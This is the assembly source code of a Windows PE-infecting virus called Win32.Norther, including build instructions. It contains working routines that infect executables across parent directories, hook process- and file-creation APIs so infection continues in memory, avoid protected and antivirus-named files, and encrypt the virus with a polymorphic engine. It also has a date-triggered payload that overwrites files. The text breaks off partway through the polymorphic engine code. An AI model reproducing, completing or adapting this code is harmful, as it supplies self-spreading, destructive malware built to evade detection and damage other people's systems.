; ; Win32.Norther By DR-EF (c) 2004 ; ------------------------------- ; ; Virus Name:Win32.Norther ; Size:8k ; Type:PE Infector ; Author:DR-EF ; ; ; Virus Features: ; --------------- ; - Infect Files At 20 upper directorys level using ; the dot dot method ; ; - 2 methods of infection: .reloc section overwriting ; or append to last section ; ; - use size padding to mark infected files ; ; - E.P.O,the virus patch the mov eax,fs:[00000000] ; instruction with call virus_decryptor & inc ebx ; instead of modifly entry point ; ; - Per Process Residenty,Norther hook the WinExec, ; CreateProcess,SetCurrectDirectory,CreateFile apis ; and infect files when this apis called ; ; - Dont Infect SFC protected files & files that have ; name like av software ; ; - Norther Polymorphic\Encrypted using the Voltage ; polymorphic engine version 2.0 ; ; How To Compile: ; --------------- ; tasm32 /m3 /ml /zi Norther.asm , , ; ; tlink32 /tpe /aa /v Norther , Norther,,import32.lib ; pewrsec Norther.exe ; ; ; .386 .model flat DEBUG equ 0 VirusSize equ (VirusEnd-VirusStart) extrn ExitProcess:proc extrn GetModuleHandleA:proc extrn MessageBoxA:proc .data db ? .code Norther: mov eax,VirusSize push offset FirstGen pushad jmp FG VirusStart equ $ mov esp,[esp + 8h] pop dword ptr fs:[0] add esp,0ch ;restore stack FG: call Delta ;get delta offset Delta: pop ebp sub ebp,offset Delta mov eax,400000h ;host image base HostImageBase equ ($-VirusStart-4) HostImageBase_ equ ($-4) push eax ;save image base in the stack add eax,[eax + 3ch] ;goto pe header offset add eax,80h ;goto import data directory mov eax,[eax] ;get it rva add eax,[esp] ;convert it to va @_Dll: mov esi,[eax + 0ch] ;get rva to dll name cmp esi,0h ;no more imported dlls ? je ReturnToHost add esi,[esp] ;convert it to va mov ecx,8h call OverK32 db "KERNEL32" OverK32:pop edi rep cmpsb ;compare dll name je _____1 add eax,14h ;move to next IMAGE_IMPORT_DESCRIPTOR jmp @_Dll ;structure _____1: mov esi,[eax] ;get rva to pointers to image import by name structures add esi,[esp] ;convert it to va xor edx,edx @NxtApi:push edx ;save loop index push esi ;save pointer to structures mov esi,[esi] ;get import by name structure rva add esi,[esp + 8h] ;convert it to va add esi,2h ;skip the IBN_Hint call OverGMH db "GetModuleHandleA" OverGMH:pop edi mov ecx,10h rep cmpsb ;compare api name je GetAddr pop esi pop edx add edx,4h add esi,4h jmp @NxtApi GetAddr:pop esi pop edx ;get loop index mov esi,[eax + 10h] ;get rva to name add esi,[esp] ;convert it to va add esi,edx ;goto GetModuleHandleA api address pop eax ;restore stack mov eax,[esi] ;eax - GetModuleHandleA api address ! call Over_K32 db "Kernel32.dll",0 Over_K32: call eax ;get kernel32 image base or eax,eax ;fail ? je ReturnToHost push eax ;save kernel32 image base in the stack add eax,[eax + 3ch] mov eax,[eax + 78h] add eax,[esp] ;eax - kernel32 export table push eax xor edx,edx mov eax,[eax + 20h] add eax,[esp + 4h] mov edi,[eax] add edi,[esp + 4h] ;edi - api names array dec edi NxtCmp: inc edi call OverGPA db "GetProcAddress",0 OverGPA:pop esi mov ecx,0eh rep cmpsb je GetGPA inc edx Nxt_1: cmp byte ptr [edi],0h je NxtCmp inc edi jmp Nxt_1 GetGPA: pop eax ;eax - kernel32 export table shl edx,1h ;edx - GetProcAddress position mov ebx,[eax + 24h] add ebx,[esp] add ebx,edx mov dx,word ptr [ebx] shl edx,2h mov ebx,[eax + 1ch] add ebx,[esp] add ebx,edx mov ebx,[ebx] add ebx,[esp] mov [ebp + GetProcAddress],ebx mov ecx,NumberOfApis call OverNames db "CreateFileA",0 db "CloseHandle",0 db "CreateFileMappingA",0 db "MapViewOfFile",0 db "UnmapViewOfFile",0 db "FindFirstFileA",0 db "FindNextFileA",0 db "FindClose",0 db "SetCurrentDirectoryA",0 db "GetCurrentDirectoryA",0 db "GetFileSize",0 db "SetFilePointer",0 db "SetEndOfFile",0 db "GetTickCount",0 db "LoadLibraryA",0 db "MultiByteToWideChar",0 db "GetFullPathNameA",0 db "GetSystemTime",0 OverNames: pop eax Call OverAddresses CreateFile dd 0 CloseHandle dd 0 CreateFileMapping dd 0 MapViewOfFile dd 0 UnmapViewOfFile dd 0 FindFirstFile dd 0 FindNextFile dd 0 FindClose dd 0 SetCurrentDirectory dd 0 GetCurrentDirectory dd 0 GetFileSize dd 0 SetFilePointer dd 0 SetEndOfFile dd 0 GetTickCount dd 0 LoadLibrary dd 0 MultiByteToWideChar dd 0 GetFullPathName dd 0 GetSystemTime dd 0 NumberOfApis equ 18 GetProcAddress dd 0 CopyRight db "Win32.Norther (c) 2004 DR-EF" OverAddresses: pop ebx pop edx NextAPI:push ecx push edx push eax push eax push edx call [ebp + GetProcAddress] cmp eax,0h jne SaveIt add esp,0ch jmp ReturnToHost SaveIt: mov dword ptr [ebx],eax pop eax NextSTR:inc eax cmp byte ptr [eax],0h jne NextSTR inc eax add ebx,4h pop edx pop ecx loop NextAPI ;check for payload lea eax,[ebp + SYSTEMTIME] push eax call [ebp + GetSystemTime] cmp word ptr [ebp + wMonth],0ch jne skp_p cmp word ptr [ebp + wDay],1dh jne skp_p inc byte ptr [ebp + active_payload] mov dword ptr [ebp + SearchMask + 1],"lld." ;bye bye *.dll skp_p: ;get SfcIsProtectedFile API mov dword ptr [ebp + SfcIsFileProtected],0 call OverSfc db "SFC.DLL",0 OverSfc:call [ebp + LoadLibrary] ;load sfc.dll or eax,eax je NoSFC call OvrSfc db "SfcIsFileProtected",0 OvrSfc: push eax call [ebp + GetProcAddress] ;get SfcIsFileProtected api or eax,eax je NoSFC mov dword ptr [ebp + SfcIsFileProtected],eax NoSFC: lea eax,[ebp + CurrentDirectory] ;we finish to get apis,now lets infect push eax ;files in the currect & upper directorys push 0ffh call [ebp + GetCurrentDirectory] cmp eax,0h je HookApis call InfectDirectory lea eax,[ebp + CurrentDirectory] push eax call [ebp + SetCurrentDirectory] HookApis: ;hook winexec mov eax,dword ptr [ebp + HostImageBase_] lea ebx,[ebp + Hook_Dll1] lea ecx,[ebp + Win_execfn] lea edx,[ebp + WinExecHook] call HookApi mov dword ptr [ebp + WinExec_addr],eax ;hook CreateFileA mov eax,dword ptr [ebp + HostImageBase_] lea ebx,[ebp + Hook_Dll1] lea ecx,[ebp + CreateFile_fn] lea edx,[ebp + CreateFile_Hook] call HookApi mov dword ptr [ebp + CreateFile_addr],eax ;hook CreateProcessA mov eax,dword ptr [ebp + HostImageBase_] lea ebx,[ebp + Hook_Dll1] lea ecx,[ebp + CreateProcess_fn] lea edx,[ebp + CreateProcess_Hook] call HookApi mov dword ptr [ebp + CreateProcess_addr],eax ;hook SetCurrentDirectory mov eax,dword ptr [ebp + HostImageBase_] lea ebx,[ebp + Hook_Dll1] lea ecx,[ebp + SetCurrentDirectory_fn] lea edx,[ebp + SetCurrentDirectory_Hook] call HookApi mov dword ptr [ebp + SetCurrentDirectory_addr],eax ReturnToHost: popad db 64h,0a1h,0,0,0,0 ;mov eax,fs:[00000000] dec ebx ret SYSTEMTIME: wYear dw 0 wMonth dw 0 wDayOfWeek dw 0 wDay dw 0 wHour dw 0 wMinute dw 0 wSecond dw 0 wMilliseconds dw 0 Payload: ;the "Payload" ! IF DEBUG int 3 ENDIF lea ebx,[ebp + cFileName] call OpenFile lea esi,[ebp + CopyRight] xchg edi,eax mov ecx,29ah rep movsb mov dword ptr [ebp + FileSize],29ah call RestoreFile call CloseFile ret active_payload db 0 ;--------------- api hooks -------------------------- WinExecHook: IF DEBUG int 3 ENDIF pushad pushfd call HookD HookD: pop ebp sub ebp,offset HookD mov esi,[esp + 28h] call CheckFileName jc SkipFile1 mov ebx,[esp + 28h] call InfectFile SkipFile1: popfd popad push ebp call Hook_D Hook_D: pop ebp sub ebp,offset Hook_D xchg eax,ebp pop ebp jmp dword ptr [eax + WinExec_addr] WinExec_addr dd 0 Win_execfn db "WinExec",0 CreateFile_Hook: IF DEBUG int 3 ENDIF pushad pushfd call HookD4 HookD4: pop ebp sub ebp,offset HookD4 xor ecx,ecx mov esi,[esp + 28h] NxtByte:cmp byte ptr [esi],0h je GetDir inc ecx inc esi jmp NxtByte GetDir: mov esi,[esp + 28h] add esi,ecx @NxtByt:dec esi dec ecx cmp byte ptr [esi],'\' jne @NxtByt mov esi,[esp + 28h] lea edi,[ebp + CurrentDirectory] rep movsb lea eax,[ebp + CurrentDirectory] push eax call [ebp + SetCurrentDirectory] call InfectDirectory popfd popad push ebp call Hook_D4 Hook_D4:pop ebp sub ebp,offset Hook_D4 xchg eax,ebp pop ebp jmp dword ptr [eax + CreateFile_addr] CreateFile_addr dd 0 CreateFile_fn db "CreateFileA",0 CreateProcess_Hook: IF DEBUG int 3 ENDIF pushad pushfd call HookD3 HookD3: pop ebp sub ebp,offset HookD3 mov esi,[esp + 28h] call CheckFileName jc SkipFile2 mov ebx,[esp + 28h] call InfectFile SkipFile2: popfd popad push ebp call Hook_D3 Hook_D3:pop ebp sub ebp,offset Hook_D3 xchg eax,ebp pop ebp jmp dword ptr [eax + CreateProcess_addr] CreateProcess_addr dd 0 CreateProcess_fn db "CreateProcessA",0 SetCurrentDirectory_Hook: IF DEBUG int 3 ENDIF pushad pushfd call HookD2 HookD2: pop ebp sub ebp,offset HookD2 push dword ptr [esp+28h] call [ebp + SetCurrentDirectory] call InfectDirectory popfd popad push ebp call Hook_D2 Hook_D2:pop ebp sub ebp,offset Hook_D2 xchg eax,ebp pop ebp jmp dword ptr [eax + SetCurrentDirectory_addr] SetCurrentDirectory_addr dd 0 SetCurrentDirectory_fn db "SetCurrentDirectoryA",0 Hook_Dll1 db "KERNEL32",0 ;------------------------------------------------------ ;infect files in 20 directorys level(upper), ;input: ;currect directory already setted InfectDirectory: mov byte ptr [ebp + DirLevel],0h ;init the directory level counter Nextdir:cmp byte ptr [ebp + DirLevel],14h je ExitSearch lea eax,[ebp + WIN32_FIND_DATA] push eax call OverSM SearchMask equ $ db "*.exe",0 OverSM: call [ebp + FindFirstFile] cmp eax,INVALID_HANDLE_VALUE je nxt_dir mov [ebp + hfind],eax i_file: cmp byte ptr [ebp + active_payload],1h jne skip_p call Payload skip_p: mov eax,[ebp + nFileSizeLow] call PadSize cmp edx,0h ;already infected ? je skipf lea esi,[ebp + cFileName] call CheckFileName jnc skipf lea ebx,[ebp + cFileName] call InfectFile skipf: lea eax,[ebp + WIN32_FIND_DATA] push eax push [ebp + hfind] call [ebp + FindNextFile] or eax,eax jne i_file nxt_dir:inc [ebp + DirLevel] call OverDD db "..",0 OverDD: call [ebp + SetCurrentDirectory] or eax,eax jne Nextdir ExitSearch: ret DirLevel db 0h hfind dd 0 CurrentDirectory db 0ffh dup(0) WIN32_FIND_DATA: dwFileAttributes dd 0 ftCreationTime dq 0 ftLastAccessTime dq 0 ftLastWriteTime dq 0 nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved0 dd 0 dwReserved1 dd 0 cFileName db 0ffh dup (0) cAlternateFileName db 14h dup (0) INVALID_HANDLE_VALUE equ -1 ;ebx - file name InfectFile: IF DEBUG int 3 ENDIF pushad lea eax,[ebp + Infection_Err_Handler] push eax xor eax,eax push dword ptr fs:[eax] ;set SEH to protect infection function mov fs:[eax],esp ;check for SFC! cmp [ebp + SfcIsFileProtected],0h ;there is sfc api ? je Sfc_Ok push ebx ;save file name mov ecx,0ffh ;(1024/4) xor eax,eax lea edi,[ebp + FullPath] rep stosd ;blank buffers lea eax,[ebp + File_Name] push eax lea eax,[ebp + FullPath] push eax push 260 push ebx call [ebp + GetFullPathName] ;get file full path or eax,eax jne GetUnic pop ebx jmp ExitInfect GetUnic:push 260 lea eax,[ebp + UnicodePath] push eax push -1 ;string is null terminated lea eax,[ebp + FullPath] push eax xor eax,eax push eax push eax call [ebp + MultiByteToWideChar] ;convert path into unicode or eax,eax jne CheckSFC pop ebx jmp ExitInfect CheckSFC: lea eax,[ebp + UnicodePath] push eax push 0h call [ebp + SfcIsFileProtected] ;check if the file protected: or eax,eax je No_Protect pop ebx jmp ExitInfect No_Protect: pop ebx ;restore file name Sfc_Ok: ;open file ! call OpenFile ;open & map the file jnc ExitInfect cmp word ptr [eax],"ZM" ;check mz sign jne InfectErr add eax,[eax + 3ch] cmp word ptr [eax],"EP" ;check pe sign jne InfectErr cmp word ptr [eax + 04h],14Ch ;infect only intel 386 jne InfectErr mov dx,word ptr [eax + 16h] and dx,2000h cmp dx,2000h ;dont infect dlls je InfectErr push eax ;save pe header in the stack ;check if the program import the GetModuleHandleA api,which we most need it cmp dword ptr [eax+80h],0h ;the program has imports ? jne Import_ pop eax ;restore stack jmp InfectErr Import_:mov edx,[eax + 80h] ;get rva to import section xor ecx,ecx mov cx,[eax + 6h] ;get number of sections mov ebx,[eax + 74h] ;get number of data directorys shl ebx,3h add eax,ebx add eax,78h ;goto first section body FindImp:cmp dword ptr [eax + 0ch],edx ;compare section rva,with import section rva je _Import add eax,28h ;goto next section loop FindImp pop eax ;restore stack jmp InfectErr ;some thing went wrong. _Import:mov eax,[eax + 14h] ;get pointer to raw data rva add eax,[ebp + mapbase] ;convert it to va push eax ;save import section start @NxtDLL:mov ebx,[eax + 0ch] ;get dll name rva cmp ebx,0h ;no more dlls ? jne ____3 add esp,8h ;restore stack jmp InfectErr ____3: sub ebx,edx add ebx,[esp] ;convert it to va mov edi,ebx mov ecx,8h call OverK32_ db "KERNEL32" OverK32_: pop esi rep cmpsb je ____2 add eax,14h jmp @NxtDLL ____2: mov esi,[eax] ;get rva to pointers to image import by name structures sub esi,edx add esi,[esp] ;convert it to va NextApi:push esi ;save pointer to IBN structures mov edi,[esi] sub edi,edx add edi,[esp + 4h] add edi,2h ;skip the IBN_Hint call _GMH db "GetModuleHandleA" _GMH: pop esi mov ecx,10h rep cmpsb je GMH_Ok pop esi add esi,4h cmp dword ptr [esi],0h jne NextApi add esp,0ch jmp InfectErr GMH_Ok: add esp,8h ;restore stack ;check if the code section has enough space for the decryptor mov eax,[esp] ;get pe header xor ecx,ecx mov cx,[eax + 6h] ;get number of sections mov ebx,[eax + 74h] ;get number of data directorys shl ebx,3h add eax,ebx add eax,78h ;eax - first section header @NS: mov ebx,[eax + 24h] ;get section flags and ebx,20h cmp ebx,20h je _CheckS add eax,28h ;move to next section loop @NS _CheckS:mov ebx,[eax + 10h] ;get size of raw data sub ebx,[eax + 8h] ;sub from it the virtual size cmp ebx,0beh ;free space most be at least 190 bytes ja SpaceOk pop eax jmp InfectErr SpaceOk:mov ebx,[eax + 14h] ;get pointer to raw data add ebx,[eax + 8h] ;add the virtual size to it add ebx,[ebp + mapbase] ;add the mapbase mov [ebp + WhereToWriteDecryptor],ebx push dword ptr [eax + 8h] push dword ptr [eax + 10h] ;push size of raw data pop dword ptr [eax + 8h] ;overwrite virtual size with it ;patch instruction in the code section push eax mov ecx,100h mov eax,[esp + 8h] ;get pe header mov eax,[eax + 28h] ;get entry point add eax,[ebp + mapbase] ;goto entry point call ScanAndPatch jnc ScanAll add esp,8h ;restore stack jmp Patch_OK ScanAll:pop eax pop ecx ;get virtual size mov eax,[eax + 14h] add eax,[ebp + mapbase] call ScanAndPatch ;replace mov eax,fs:[00000000] with call virus jc Patch_OK pop eax jmp InfectErr Patch_OK: ;check if the program has .reloc section,and if it has enough space for the virus mov byte ptr [ebp + RelocInfection],0h mov eax,[esp] ;get pe header cmp dword ptr [eax + 0a0h],0h ;there is reloc section ? je LastSection mov edx,[eax + 0a0h] ;get rva to .reloc section mov eax,[esp] ;get pe header xor ecx,ecx mov cx,[eax + 6h] ;get number of sections mov ebx,[eax + 74h] ;get number of data directorys shl ebx,3h add eax,ebx add eax,78h ;eax - first section header @F_RLC: mov ebx,[eax + 0ch] ;get virtual address cmp ebx,edx je CheckReloc add eax,28h loop @F_RLC jmp LastSection ;error,try last section method CheckReloc: cmp dword ptr [eax + 10h],VirusSize ;compare size of raw data with virus size jb LastSection push dword ptr [eax + 10h] pop dword ptr [eax + 8h] ;fix section size or dword ptr [eax + 24h],0c0000020h;set section flags to code\readable\writeable push eax mov ebx,eax mov [ebp + FixRVA],0 ;add VirtualSize-PointerToRawData mov eax,[ebx + 0ch] ;subtraction to the virus offset sub eax,[ebx + 14h] ;when decrypting and jumping to mov [ebp + FixRVA],eax ;virus at runtime. pop eax mov edi,[eax + 14h] add edi,[ebp + mapbase] mov [ebp + StartOfDataToEncrypt],edi push edi ;save virus offset in infected file lea esi,[ebp + VirusStart] mov ecx,VirusSize rep movsb ;copy virus into host mov eax,[esp+4h] ;get pe header mov dword ptr [eax + 0a0h],0h ;clear relocation data directory mov dword ptr [eax + 0a4h],0h inc byte ptr [ebp + RelocInfection] jmp FixPE LastSection: mov eax,[esp] ;get pe header xor ecx,ecx mov cx,[eax + 6h] ;get number of sections dec ecx mov ebx,[eax + 74h] ;get number of data directorys shl ebx,3h add eax,ebx add eax,78h ;eax - first section @Ls: add eax,28h ;move to next section loop @Ls or dword ptr [eax + 24h],0c0000020h;set section flags to code\readable\writeable push dword ptr [eax + 8h] ;save virtual size add dword ptr [eax + 8h],VirusSize ;add virus size to section virtual size xchg eax,ebx mov eax,[ebx + 8h] ;get section new virtual size mov ecx,dword ptr [esp+4h] ;get pe header mov ecx,[ecx + 3ch] ;get file alignment push eax ;\ xor edx,edx ; \ div ecx ;-->align section size sub ecx,edx ; / pop dword ptr [ebx + 10h] ;/ add dword ptr [ebx + 10h],ecx ;set new section size of raw data mov [ebp + FixRVA],0 ;add VirtualSize-PointerToRawData mov eax,[ebx + 0ch] ;subtraction to the virus offset sub eax,[ebx + 14h] ;when decrypting and jumping to mov [ebp + FixRVA],eax ;virus at runtime. pop edi add edi,[ebx + 14h] ;get pointer to raw data add edi,[ebp + mapbase] mov [ebp + StartOfDataToEncrypt],edi push edi ;save virus offset in infected files lea esi,[ebp + VirusStart] mov ecx,VirusSize rep movsb ;copy virus to the host FixPE: ;fix size of image in pe header & image base in the virus cmp byte ptr [ebp + RelocInfection],0h je _FixVir mov ebx,[esp+4h] ;get pe header mov eax,[ebx + 50h] ;get size of image add eax,VirusSize push eax xor edx,edx mov ecx,[ebx + 38h] ;get section alignment div ecx sub ecx,edx pop eax add eax,ecx ;align size of image mov dword ptr [ebx + 50h],eax ;set new size of image _FixVir:pop edi ;restore virus offset in infected file pop esi ;get pe header mov eax,[esi + 34h] ;get image base mov [edi + HostImageBase],eax ;set image base in the virus ;encrypt it & write polymorphic decryptor mov [ebp + ProgramImageBase],eax ;set image base in the decryptor call CreateDecryptor ;close the file cmp byte ptr [ebp + RelocInfection],0h je _CloseF mov eax,dword ptr [ebp + FileSize] call PadSize push FILE_BEGIN push 0h push eax push dword ptr [ebp + hfile] call [ebp + SetFilePointer] push dword ptr [ebp + hfile] call [ebp + SetEndOfFile] call CloseFile jmp ExitInfect _CloseF: call PadFileSize call CloseFile ExitInfect: pop dword ptr fs:[0] add esp,4h popad ret InfectErr: call RestoreFile call CloseFile pop dword ptr fs:[0] add esp,4h popad ret Infection_Err_Handler: mov esp,[esp + 8h] pop dword ptr fs:[0] add esp,4h popad ret SfcIsFileProtected dd 0 File_Name dd 0 FullPath db 520 dup(0) UnicodePath db 520 dup(0) ;scan a code for mov eax,fs:[00000000] instruction and ;patch it with call virus_decryptor and inc ebx instruction ;input: ;eax - address of code ;ecx - size of code to scan ;output: ;carry flag - success\fail. ScanAndPatch: __1: cmp word ptr [eax],0a164h jne nxt_w cmp dword ptr [eax + 2h],0 jne nxt_w mov byte ptr [eax],0e8h ;call instruction mov ebx,[ebp + WhereToWriteDecryptor] push eax sub eax,[ebp + mapbase] sub ebx,eax sub ebx,5h sub ebx,[ebp + mapbase] pop eax mov dword ptr [eax + 1h],ebx mov byte ptr [eax + 5h],43h ;inc ebx instruction jmp patchok ;patch only one time. nxt_w: inc eax loop __1 jmp nopatch patchok:stc ret nopatch:clc ret ;check if file is related to programms that has checksum protection or canot be infected ;input: ;esi - file name ;output: ;carry flag CheckFileName: xor ecx,ecx @checkV:cmp byte ptr [esi + ecx],'v' je badfile cmp byte ptr [esi + ecx],'V' je badfile cmp byte ptr [esi + ecx],0h je no_v inc ecx jmp @checkV no_v: push esi ;save file name for later use mov ecx,TwoBytesNames ;scan for 2 bytes bad name lea edi,[ebp + DontInfectTable] l2: mov bx,word ptr [edi] l2_1: mov ax,word ptr [esi] cmp ax,bx je ex_rs add bx,2020h cmp ax,bx je ex_rs sub bx,2020h inc esi cmp byte ptr [esi],0h jne l2_1 mov esi,[esp] ;restore file name add edi,2h loop l2 mov ecx,FourBytesNames ;scan for 4 bytes bad name lea edi,[ebp + DontInfectTable + (2*TwoBytesNames)] mov esi,[esp] ;get file name l3: mov ebx,dword ptr [edi] l3_1: mov eax,dword ptr [esi] cmp eax,ebx je ex_rs add ebx,20202020h cmp eax,ebx je ex_rs sub ebx,20202020h inc esi cmp byte ptr [esi],0h jne l3_1 mov esi,[esp] add edi,4h loop l3 pop esi stc ret ex_rs: pop esi badfile:clc ret DontInfectTable: db "FP" db "TB" db "AW" db "DR" db "F-" TwoBytesNames equ 5 db "INOC" db "PAND" db "ANTI" db "AMON" db "N32S" db "NOD3" db "NPSS" db "SMSS" db "SCAN" db "ZONE" db "PROT" db "MONI" db "RWEB" db "MIRC" db "CKDO" db "TROJ" db "SAFE" db "JEDI" db "TRAY" db "ANDA" db "SPID" db "PLOR" db "NDLL" db "TREN" db "NSPL" db "NSCH" db "ALER" FourBytesNames equ 27 ;open & map a file into the memory: ;input: ; ebx - filename ;output ; carry flag OpenFile: xor eax,eax push eax push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax push eax push GENERIC_READ or GENERIC_WRITE push ebx call [ebp + CreateFile] cmp eax,INVALID_HANDLE_VALUE je OpenFileErr mov dword ptr [ebp + hfile],eax push 0h push eax call [ebp + GetFileSize] cmp eax,0ffffffffh je FileSizeErr mov dword ptr [ebp + FileSize],eax call PadSize cmp edx,0h je FileSizeErr ;already infected xor eax,eax push eax push dword ptr [ebp + FileSize] add dword ptr [esp],VirusSize push eax push PAGE_READWRITE push eax push dword ptr [ebp + hfile] call [ebp + CreateFileMapping] cmp eax,0h je FileSizeErr mov dword ptr [ebp + hmap],eax push dword ptr [ebp + FileSize] add dword ptr [esp],VirusSize xor eax,eax push eax push eax push FILE_MAP_WRITE push dword ptr [ebp + hmap] call dword ptr [ebp + MapViewOfFile] cmp eax,0h je FileMapErr mov dword ptr [ebp + mapbase],eax stc ret FileMapErr: push [ebp + hmap] call [ebp + CloseHandle] FileSizeErr: push [ebp + hfile] call [ebp + CloseHandle] OpenFileErr: clc ret CloseFile: push dword ptr [ebp + mapbase] call [ebp + UnmapViewOfFile] push dword ptr [ebp + hmap] call [ebp + CloseHandle] push dword ptr [ebp + hfile] call [ebp + CloseHandle] ret RestoreFile: xor eax,eax push eax push eax ;FILE_BEGIN push dword ptr [ebp + FileSize] push dword ptr [ebp + hfile] call [ebp + SetFilePointer] push dword ptr [ebp + hfile] call [ebp + SetEndOfFile] ret PadFileSize: mov eax,dword ptr [ebp + FileSize] add eax,VirusSize call PadSize push FILE_BEGIN push 0h push eax push dword ptr [ebp + hfile] call [ebp + SetFilePointer] push dword ptr [ebp + hfile] call [ebp + SetEndOfFile] ret hfile dd 0 hmap dd 0 mapbase dd 0 FileSize dd 0 RelocInfection db 0 CreationTime dq 0 LastAccessTime dq 0 LastWriteTime dq 0 FILE_ATTRIBUTE_NORMAL equ 00000080h OPEN_EXISTING equ 3 GENERIC_READ equ 80000000h GENERIC_WRITE equ 40000000h INVALID_HANDLE_VALUE equ -1 PAGE_READWRITE equ 4h FILE_MAP_WRITE equ 00000002h FILE_BEGIN equ 0 ;pad size by 101 ;input: ; eax - size ;output: ; eax - new size ; edx - reminder PadSize: push eax xor edx,edx mov ecx,65h ;101d div ecx cmp edx,0h je NoPad sub ecx,edx xchg ecx,edx NoPad: pop eax add eax,edx ret ;input: ;eax - image base ;ebx - dll name ;ecx - function name ;edx - hook procedure ;output ;eax - new function address or 0 if fail HookApi: cmp word ptr [eax],"ZM" ;check mz sign jne HookErr push eax ;save image base in the stack add eax,[eax + 3ch] ;goto pe header add eax,80h mov eax,[eax] ;get import section rva cmp eax,0h je HookErr_ add eax,[esp] ;convert it to va @Dll: mov esi,[eax + 0ch] cmp esi,0h je HookErr_ add esi,[esp] ;esi - dll name ;compare the dll name in [esi],with our dll: pushad xchg edi,ebx xor ecx,ecx @Gsize: cmp byte ptr [edi+ecx],0h ;get our dll size je _Size inc ecx jmp @Gsize _Size: rep cmpsb je _dll popad add eax,14h ;move to next IMAGE_IMPORT_DESCRIPTOR structure jmp @Dll _dll: popad ;edx - Hook procedure ;ecx - function to hook ;eax - IMAGE_IMPORT_DESCRIPTOR of our api dll ;[esp] - image base mov ebx,[eax] ;get rva to pointers to image import by name structures add ebx,[esp] ;convert it to va xor edi,edi ;used to save loop index @FindApi: ;ebx - pointer to pointers arrary of import by name structures push edi ;save loop index push ebx ;save pointer to import by name structures push eax ;save import section rva push ecx ;save function to hook name push edx ;save hook procedure mov esi,[ebx] ;get import by name structure rva add esi,[esp + 14h] ;convert it to va add esi,2h ;skip the IBN_Hint mov edi,ecx ;move our api name into edi xor ecx,ecx ;used to save our api name size @GSize_:cmp byte ptr [edi + ecx],0h ;did we in the end ? je ___Size inc ecx jmp @GSize_ ___Size:inc ecx ;include the 0 rep cmpsb ;compare api names je ApiFound ;we found it ! pop edx pop ecx pop eax pop ebx pop edi add edi,4h add ebx,4h ;move to next pointer cmp dword ptr [ebx],0h ;no more pointers ??? jne @FindApi HookErr_: pop eax HookErr:xor eax,eax ret ApiFound: pop edx pop ecx pop eax pop ebx pop edi mov esi,[eax + 10h] ;rva to name add esi,[esp] add esi,edi ;goto our api address mov eax,[esi] ;get our api old address mov [esi],edx ;hook it ! pop esi ;restore stack ret ;--------------------------------------------------------------------------- ;Voltage PolyMorphic Engine,Version 2.0: ;--------------------------------------- ;encrypt code with 4 bytes key with diffrent way each time ;and create polymorphic decryptor,the polymorphic decryptor ;has diffrent instructions that do the same thing mixed with ;junk code,with anti emulation/debuggin tricks CreateDecryptor: call InitRandomNumber ;init random number generator call GenRandomNumber and eax,1f40h ;get random numebr between 0 ~ 8000 cmp eax,7d0h ja NextM mov byte ptr [ebp + EncryptionMethod],1h ;use not jmp EncryptVirus NextM: cmp eax,0fa0h ja NextM2 mov byte ptr [ebp + EncryptionMethod],2h ;use add jmp EncryptVirus NextM2: cmp eax,1770h ja NextM3 mov byte ptr [ebp + EncryptionMethod],3h ;use sub jmp EncryptVirus NextM3: mov byte ptr [ebp + EncryptionMethod],4h ;use xor EncryptVirus: call GenRandomNumber mov dword ptr [ebp + key],eax ;get random key xor eax,eax mov ecx,SizeOfDataToEncrypt ;size of data in words mov edi,[ebp + StartOfDataToEncrypt] mov esi,edi @enc: lodsd cmp byte ptr [ebp + EncryptionMethod],1h ;is not ? jne NextE not eax jmp _stosw NextE: cmp byte ptr [ebp + EncryptionMethod],2h ;is add ? jne NextE2 add eax,dword ptr [ebp + key] jmp _stosw NextE2: cmp byte ptr [ebp + EncryptionMethod],3h ;is sub ? jne NextE4 sub eax,dword ptr [ebp + key] jmp _stosw NextE4: xor eax,dword ptr [ebp + key] ;xor _stosw: stosd loop @enc mov edi,[ebp + WhereToWriteDecryptor] call WriteInstruction1 call WriteJunkCode call WriteInstruction2 call WriteJunkCode call WriteInstruction3 call WriteJunkCode call WriteInstruction4 call WriteJunkCode mov dword ptr [ebp + PolyBuffer],edi ;saved for loop call WriteInstruction5 call WriteJunkCode call WriteInstruction6 call WriteJunkCode call WriteInstruction7 call WriteJunkCode call WriteInstruction8 call WriteJunkCode call WriteInstruction9 call WriteJunkCode ret EncryptionMethod db 0 ;1=not 2=add 3=sub 4=xor key dd 0 WhereToWriteDecryptor dd 0 StartOfDataToEncrypt dd 0 ProgramImageBase dd 0 PolyBuffer dd 0 SizeOfDataToEncrypt equ (VirusSize/4);virus size in dwords FixRVA dd 0 WriteInstruction1: ;this function write pushad instruction mov byte ptr [edi],60h ;pushad inc edi ret WriteInstruction2: ;this function set esi register to start of encrypted virus call GenRandomNumber mov ebx,[ebp + StartOfDataToEncrypt] sub ebx,[ebp + mapbase] add ebx,[ebp + ProgramImageBase] add ebx,[ebp + FixRVA] and eax,0ffh ;get random number between 0 ~ 255 cmp eax,33h ja ins2_1 mov byte ptr [edi],0beh ;way 1: mov dword ptr [edi + 1],ebx ;mov esi,StartOfDataToEncrypt add edi,5h jmp retins2 ins2_1: cmp eax,66h ja ins2_2 mov byte ptr [edi],68h ;way 2: mov dword ptr [edi + 1],ebx ;push StartOfDataToEncrypt add edi,5h call WriteJunkCode ;pop esi mov byte ptr [edi],5eh inc edi jmp retins2 ins2_2: cmp eax,99h ja ins2_3 mov word ptr [edi],0f633h ;way 3: add edi,2h ;xor esi,esi push ebx call WriteJunkCode pop ebx call _ins2oresival jmp retins2 ins2_3: cmp eax,0cch ja ins2_4 mov word ptr [edi],0f62bh ;way 4 add edi,2h ;sub esi,esi push ebx call WriteJunkCode pop ebx call _ins2oresival jmp retins2 ins2_4: not ebx ;way 5 mov byte ptr [edi],0beh ;mov esi,not StartOfDataToEncrypt mov dword ptr [edi + 1],ebx add edi,5h call WriteJunkCode mov word ptr [edi],0d6f7h ;not esi add edi,2h retins2:ret _ins2oresival: ;write or esi,StartOfDataToEncrypt instruction mov word ptr [edi],0ce81h mov dword ptr [edi + 2],ebx add edi,6h ret WriteInstruction3: ;this function set edi register to esi register call GenRandomNumber and eax,0c8h cmp eax,32h ja ins3_1 mov word ptr [edi],0fe8bh ;mov edi,esi add edi,2h jmp retins3 ins3_1: cmp eax,64h ja ins3_2 mov byte ptr [edi],56h ;push esi inc edi call WriteJunkCode mov byte ptr [edi],5fh ;pop edi inc edi jmp retins3 ins3_2: cmp eax,96h ja ins3_3 mov word 